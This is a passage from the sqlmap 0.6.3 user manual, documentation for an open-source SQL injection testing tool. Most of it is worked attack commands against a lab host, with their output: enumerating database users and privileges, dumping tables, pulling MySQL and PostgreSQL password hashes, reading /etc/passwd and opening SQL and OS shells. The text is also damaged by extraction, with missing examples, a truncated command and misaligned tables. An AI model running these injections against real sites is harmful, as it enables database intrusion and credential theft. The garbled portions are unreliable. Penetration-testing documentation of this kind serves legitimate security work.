[*] SYSTEM (administrator) [2]:
    privilege: AQ_ADMINISTRATOR_ROLE
    privilege: DBA

[*] TSMSYS [1]:
    privilege: RESOURCE

[*] XDB [2]:
    privilege: CTXAPP
    privilege: RESOURCE
```

You can also provide the -U option to specify the user who you want to enumerate the privileges.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
    -U postgres

database management system users privileges:
[*] postgres (administrator) [3]:
    privilege: catupd
    privilege: createdb
    privilege: super
```

As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and show after the username this information.

Note that this feature is not available if the back-end database management system is Microsoft SQL Server.

5.5.7 Available databases

Option: -dbs

It is possible to enumerate the list of databases.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs
available databases [6]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
```

Note that this feature is not available if the back-end database management system is Oracle.

5.5.8 Databases tables

```
Options: -tables and -D
```

It is possible to enumerate the list of tables for all database manangement system's databases.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables
Database: test
[1 table]
+----+
Database: information_schema
[17 tables]
CHARACTER_SETS
COLLATION_CHARACTER_SET_APPLICABILITY
COLLATIONS
| COLUMN_PRIVILEGES
COLUMNS
| KEY_COLUMN_USAGE
PROFILING
ROUTINES
| SCHEMA_PRIVILEGES
SCHEMATA
STATISTICS
| TABLE_CONSTRAINTS
| TABLE_PRIVILEGES
TABLES
TRIGGERS
USER_PRIVILEGES
VIEWS
Database: mysql
[17 tables]
columns_priv
db
func
| help_category
| help_keyword
| help_relation
| help_topic
host
proc
| procs_priv
| tables_priv
| time_zone
time_zone_leap_second
time_zone_name
| time_zone_transition
| time_zone_transition_type
user
```

You can also provide the -D option to specify the database that you want to enumerate the tables.

Example on a MySQL 5.0.51 target:

Example on an Oracle XE 10.2.0.1 target:

Note that on Oracle you have to provide the TABLESPACE_NAME instead of the database name, in my example that is users to retrieve all tables owned by an Oracle database management system user.

5.5.9 Database table columns

```
Options: -columns, -T and -D
```

It is possible to enumerate the list of columns for a specific database table. This functionality depends on both -T to specify the table name and on -D to specify the database name.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
    -T users -D master

Database: master
Table: users
[3 columns]
+-----+
| Column | Type |
+-----+
| id | int |
| name | varchar |
| surname | varchar |
+-----+
```

Example on a PostgreSQL 8.2.7 target:

Note that on PostgreSQL you have to provide public or the name of a system database because it is not possible to enumerate other databases tables, only the users' schema that the web application's user is connected to, which is always public.

5.5.10 Dump database tables entries

```
Options: -dump, -C, -T, -D, -start and -stop
```

It is possible to dump the entries for a specific database table. This functionality depends on both -T to specify the table name and on -D to specify the database name.

Example on a MySQL 5.0.51 target:

You can also provide the -C option to specify the table column that you want to enumerate the entries.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \
    -T users -D master -C surname

Database: master
Table: users
[5 entries]
+-----+
| surname
```

sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \
 -T users -D public -v 1
[\ldots]
Database: public
Table: users
[5 entries]
+----+
| 1 | luther
                                              blissett
| 2 | fluffy
                                              bunny
| 3 | wu
                                              ming
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
                                             nameisnull
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
192.168.1.121/dump/public/users.csv'
[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
192.168.1.121'
$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"id", "name", "surname"
"1", "luther", "blissett"
"2", "fluffy", "bunny"
"3", "wu", "ming"
"4", "sqlmap/0.6.3 (http://sqlmap.sourceforge.net)", "user agent header"
"5","","nameisnull"
```

You can also provide the -start and/or the -stop option to limit the dump to a range of entries.

- -start specifies the first entry to enumerate
- $\bullet\,$ -stop specifies the last entry to enumerate

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
   -T users -D test --start 2 --stop 4
Database: test
```

As you can see, sqlmap is very flexible: you can leave it automatically enumerate the whole database table up to a single column of a specific table entry.

5.5.11 Dump all databases tables entries

Options: -dump-all and -exclude-sysdbs

It is possible to dump all databases tables entries at once.

Example on a MySQL 5.0.51 target:

Database: test

```
\$ \ python \ sqlmap.py -u \ "http://192.168.1.121/sqlmap/mysql/get\_int.php?id=1\&cat=2" \ --dump-all \ --dum
```

Database: information_schema

 ${\tt Table: CHARACTER_SETS}$

[36 entries]

+		+	++
CHARACTER_SET_NAME	DEFAULT_COLLATE_NAME		MAXLEN
+1	·	+	++
tis620	tis620_thai_ci	TIS620 Thai	1
macroman	macroman_general_ci	Mac West European	1
de c8	dec8_swedish_ci	DEC West European	1
ujis	ujis_japanese_ci	EUC-JP Japanese	3
eucjpms	eucjpms_japanese_ci	UJIS for Windows Japanese	3
armscii8	armscii8_general_ci	ARMSCII-8 Armenian	1
ucs2	ucs2_general_ci	UCS-2 Unicode	2
hp8	hp8_english_ci	HP West European	1
latin2	latin2_general_ci	ISO 8859-2 Central European	1 1
koi8u	koi8u_general_ci	KOI8-U Ukrainian	1
keybcs2	keybcs2_general_ci	DOS Kamenicky Czech-Slovak	1
ascii	ascii_general_ci	US ASCII	1
cp866	cp866_general_ci	DOS Russian	1

cp1256	cp1256_general_ci	Windows Arabic	1	
macce	macce_general_ci	Mac Central European	1	-
sjis	sjis_japanese_ci	Shift-JIS Japanese	2	
geostd8	geostd8_general_ci	GEOSTD8 Georgian	1	-
cp1257	cp1257_general_ci	Windows Baltic	1	
cp852	cp852_general_ci	DOS Central European	1	
euckr	euckr_korean_ci	EUC-KR Korean	2	
cp1250	cp1250_general_ci	Windows Central European	1	
cp1251	cp1251_general_ci	Windows Cyrillic	1	
binary	binary	Binary pseudo charset	1	
big5	big5_chinese_ci	Big5 Traditional Chinese	2	
gb2312	gb2312_chinese_ci	GB2312 Simplified Chinese	2	
hebrew	hebrew_general_ci	ISO 8859-8 Hebrew	1	-
koi8r	koi8r_general_ci	KOI8-R Relcom Russian	1	
greek	greek_general_ci	ISO 8859-7 Greek	1	
cp850	cp850_general_ci	DOS West European	1	
utf8	utf8_general_ci	UTF-8 Unicode	3	
latin1	latin1_swedish_ci	cp1252 West European	1	
latin7	latin7_general_ci	ISO 8859-13 Baltic	1	
cp932	cp932_japanese_ci	SJIS for Windows Japanese	2	-
latin5	latin5_turkish_ci	ISO 8859-9 Turkish	1	
swe7	swe7_swedish_ci	7bit Swedish	1	
gbk	gbk_chinese_ci	GBK Simplified Chinese	2	
+	+	+	-+	+

[...]

You can also provide the -exclude-sysdbs option to exclude all system databases so that sqlmap will only dump entries of users' databases tables.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
\ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \ --exclude-sysdbs
```

Database: master

Table: spt_datatype_info_ext

[10 entries]

+		+	++
AUTO_INCREMENT	-	typename	0.1
+	·	+	++
0	length	char	175
0	precision, scale	numeric	108
0	max length	varbinary	165
0	precision, scale	decimal	106
1	precision	numeric	108
0	length	nchar	239
0	max length	nvarchar	231
0	length	binary	173
0	max length	varchar	167
1	precision	decimal	106
+	·	+	++

[...]

```
Database: master
Table: users
[5 entries]
+---+
| id | name
                               surname
+---+
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
2 | fluffy
                               bunny
1 luther
                               blisset
| 3 | wu
                               ming
| 5 | NULL
                               nameisnull
[...]
```

Note that on Microsoft SQL Server the master database is not considered a system database because some database administrators use it as a users' database.

5.5.12 Run your own SQL SELECT statement

Options: -sql-query and -sql-shell

The SQL query and the SQL shell features makes the user able to run whatever SELECT statement on the web application's back-end database management system and retrieve its output.

Examples on a Microsoft SQL Server 2000 Service Pack 0 target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
 "SELECT 'foo'" -v 1
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:14] [INFO] retrieved: foo
[hh:mm:14] [INFO] performed 27 queries in 0 seconds
SELECT 'foo':
                'foo'
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
 "SELECT 'foo', 'bar'" -v 1
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
```

As you can see from this last example, sqlmap splits the query in two different SELECT statement to be able to retrieve the output even in blind SQL injection technique. Otherwise in inband SQL injection technique it only perform a single HTTP request to get the user's query output:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
  "SELECT 'foo', 'bar'" -v 1 --union-use
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
vulnerability
[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
CHAR (114)) AS VARCHAR (8000)), (CHAR (32)))+(CHAR (66)+CHAR (78)+CHAR (104)+CHAR (75)+CHAR (114)+
CHAR (116)), NULL-- AND 8373=8373
[hh:mm:03] [INFO] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:
[*] foo, bar
```

Examples on an Oracle XE 10.2.0.1 target:

As you can see, if your SELECT statement contains a FROM clause, sqlmap asks the user if such statement can return multiple entries and in such case the tool knows how to unpack the query correctly to retrieve its whole output line per line.

Example on a PostgreSQL 8.2.7 target:

As you can see, in the last example sqlmap counts the number of entries for your query and asks how many entries from the top you want to dump. Otherwise if you specify also the LIMIT, or similar, clause sqlmap will not ask anything, just unpack the query and return its output.

Example on a \mathbf{MySQL} 5.0.51 target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \
 "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
[\ldots]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
mysql.user LIMIT 1, 3'
[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
it into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: root
[hh:mm:12] [INFO] performed 34 queries in O seconds
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: localhost
[hh:mm:12] [INFO] performed 69 queries in 0 seconds
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:13] [INFO] performed 293 queries in O seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: root
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: leboyer
[hh:mm:13] [INFO] performed 55 queries in O seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:14] [INFO] performed 293 queries in O seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: root
[hh:mm:14] [INFO] performed 34 queries in O seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: 127.0.0.1
[hh:mm:14] [INFO] performed 69 queries in O seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:15] [INFO] performed 293 queries in O seconds
SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
```

The SQL shell option gives you access to run your own SQL SELECT statement interactively, like a SQL console logged into the back-end database management system. This feature has TAB completion and history support.

Example of history support on a PostgreSQL 8.2.7 target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell $
     sql> SELECT 'foo'
     SELECT 'foo': 'foo'
     sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
     sql> SELECT version()
     SELECT version():
                          'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3
     (Ubuntu 4.2.3-2ubuntu4),
     sql> exit
     $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
     sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
     sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
     [hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
     [hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
     do you want to retrieve?
     [a] All (default)
     [#] Specific number
     [q] Quit
     Choice:
     SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
     [*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
     [*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
     [*] testuser2,
Example of TAB completion on a MySQL 5.0.51 target:
     python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell $
     sql> [TAB TAB]
     AND ORD(MID((%s), %d, 1)) > %d
     CAST (%s AS CHAR (10000))
     COUNT(%s)
```

```
CURRENT_USER()
DATABASE()
IFNULL(%s, ' ')
LENGTH(%s)
LIMIT %d, %d
MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
table_schema='%s'
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
SELECT table_schema, table_name FROM information_schema.TABLES
SELECT user, password FROM mysql.user
VERSION()
sql> SE[TAB]
```

```
sql> SELECT
```

As you can see the TAB functionality shows the queries defined for the back-end database management system in sqlmap XML queries file, but you can run whatever SELECT statement that you want.

Example of asterisk expansion on a MySQL 5.0.51 target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \
 -v 1
[...]
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT * FROM test.users
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column
names itself.
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116)
[hh:mm:48] [INFO] retrieved: 3
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[hh:mm:48] [INFO] retrieved: id
[hh:mm:48] [INFO] performed 20 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
[hh:mm:48] [INFO] retrieved: name
[hh:mm:48] [INFO] performed 34 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[hh:mm:48] [INFO] retrieved: surname
[hh:mm:48] [INFO] performed 55 queries in O seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 3
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: 1
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
```

```
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: luther
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: blissett
[hh:mm:09] [INFO] performed 62 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: 2
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: fluffy
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: bunny
[hh:mm:09] [INFO] performed 41 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: 3
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: wu
[hh:mm:09] [INFO] performed 20 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: ming
[hh:mm:10] [INFO] performed 34 queries in 0 seconds
SELECT * FROM test.users [3]:
[*] 1, luther, blissett
[*] 2, fluffy, bunny
[*] 3, wu, ming
```

As you can see in this last example, if the SELECT statement has an asterisk instead of the column(s) name, sqlmap first retrieves the column names of the table then asks if the query can return multiple entries and goes on.

5.6 File system access

5.6.1 Read a specific file content

```
Option: -read-file
```

If the back-end database management system is MySQL and the current user has access to the LOAD_FILE() function, it is possible to read the content of a specific file from the file system.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
    --read-file /etc/passwd
/etc/passwd:
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man: x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy: x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
```

5.7 Operating system access

5.7.1 Prompt for an interactive operating system shell

```
Option: -os-shell
```

If the back-end database management system is MySQL, the web application's programming language is PHP and you, or sqlmap itself, found a writable directory within the web server document root path, sqlmap can prompt for an interactive operating system shell on the back-end database management system.

Example on a MySQL 5.0.51 target:

As you might notice, such operating system shell has the same functionalities of SQL shell.

5.8 Miscellaneous

5.8.1 Estimated time of arrival

Option: -eta

It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack.

Example on an Oracle XE 10.2.0.1 target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \
      --eta -v 1
     [...]
     back-end DBMS: Oracle
     [hh:mm:24] [INFO] fetching banner
     [hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
     output again
     [hh:mm:24] [INFO] retrieved the length of query output: 64
     [hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
     WHERE ROWNUM=1
     ] 49/64 ETA 00:00
then:
     100% [========] 64/64
     [hh:mm:15] [INFO] performed 454 queries in 2 seconds
               'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
     banner:
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
     $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \
      --users --eta -v 1
     Γ...1
     back-end DBMS: Microsoft SQL Server 2000
     [hh:mm:57] [INFO] fetching database users
     [hh:mm:57] [INFO] fetching number of database users
     [hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)),
     (CHAR(32))) FROM master..syslogins
     [hh:mm:57] [INFO] retrieved: 3
     [hh:mm:57] [INFO] performed 13 queries in 0 seconds
     [hh:mm:57] [INFO] retrieved the length of query output: 22
     [hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
     master..syslogins WHERE name NOT IN (SELECT TOP O name FROM master..syslogins ORDER BY name)
     ORDER BY name
     100% [==========] 22/22
     [hh:mm:58] [INFO] performed 160 queries in 0 seconds
     [hh:mm:58] [INFO] retrieved the length of query output: 2
     [hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
     master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name)
     ORDER BY name
     100% [=========] 2/2
     [hh:mm:59] [INFO] performed 20 queries in 0 seconds
     [hh:mm:59] [INFO] retrieved the length of query output: 25
     [hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
     master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name)
     ORDER BY name
```

```
100% [========] 25/25 [hh:mm:00] [INFO] performed 181 queries in 1 seconds database management system users [3]:

[*] BUILTIN\Administrators

[*] sa

[*] W2KITINQUIS\Administrator
```

As you can see, sqlmap first calculates the length of the query output, then estimated the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters.

5.8.2 Update sqlmap to the latest stable version

Option: -update

It is possible to update sqlmap to the latest stable version available on its SourceForge File List page by running it with the -update option.

```
$ python sqlmap.py --update -v 4
[hh:mm:53] [DEBUG] initializing the configuration
[hh:mm:53] [DEBUG] initializing the knowledge base
[hh:mm:53] [DEBUG] cleaning up configuration parameters
[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:53] [DEBUG] creating HTTP requests opener object
[hh:mm:53] [INFO] updating sqlmap
[hh:mm:53] [DEBUG] checking if a new version is available
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 01 Aug 2008 14:50:55 GMT
Server: Apache/1.3.33 (Unix) PHP/4.3.10
Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
ETag: "9fcc53e-4-48919d9b"
Accept-Ranges: bytes
Content-Length: 4
Connection: close
Content-Type: text/plain
X-Pad: avoid browser bug
[hh:mm:55] [INFO] you are already running sqlmap latest stable version
[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
[hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvusO3cqyQEkAAAANDIOM2QzZmUtOGRkOSOOZDQxLThhMTUtN2ExMWJiNWVjN2MyO;
language=en-US
Connection: close
[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
```

```
Cache-Control: private
Connection: close
Date: Fri, 01 Aug 2008 14:50:50 GMT
Content-Length: 167918
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAAANDIOM2QzZmUt0GRk0S00ZDQxLThhMTUtN2ExMWJiNWVjN2MyO; expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly

[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
[hh:mm:02] [DEBUG] parsing XML queries file
```

As you can see, sqlmap first check if a new stable version is available, then in case it is, download it, unzip it and update the Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site.

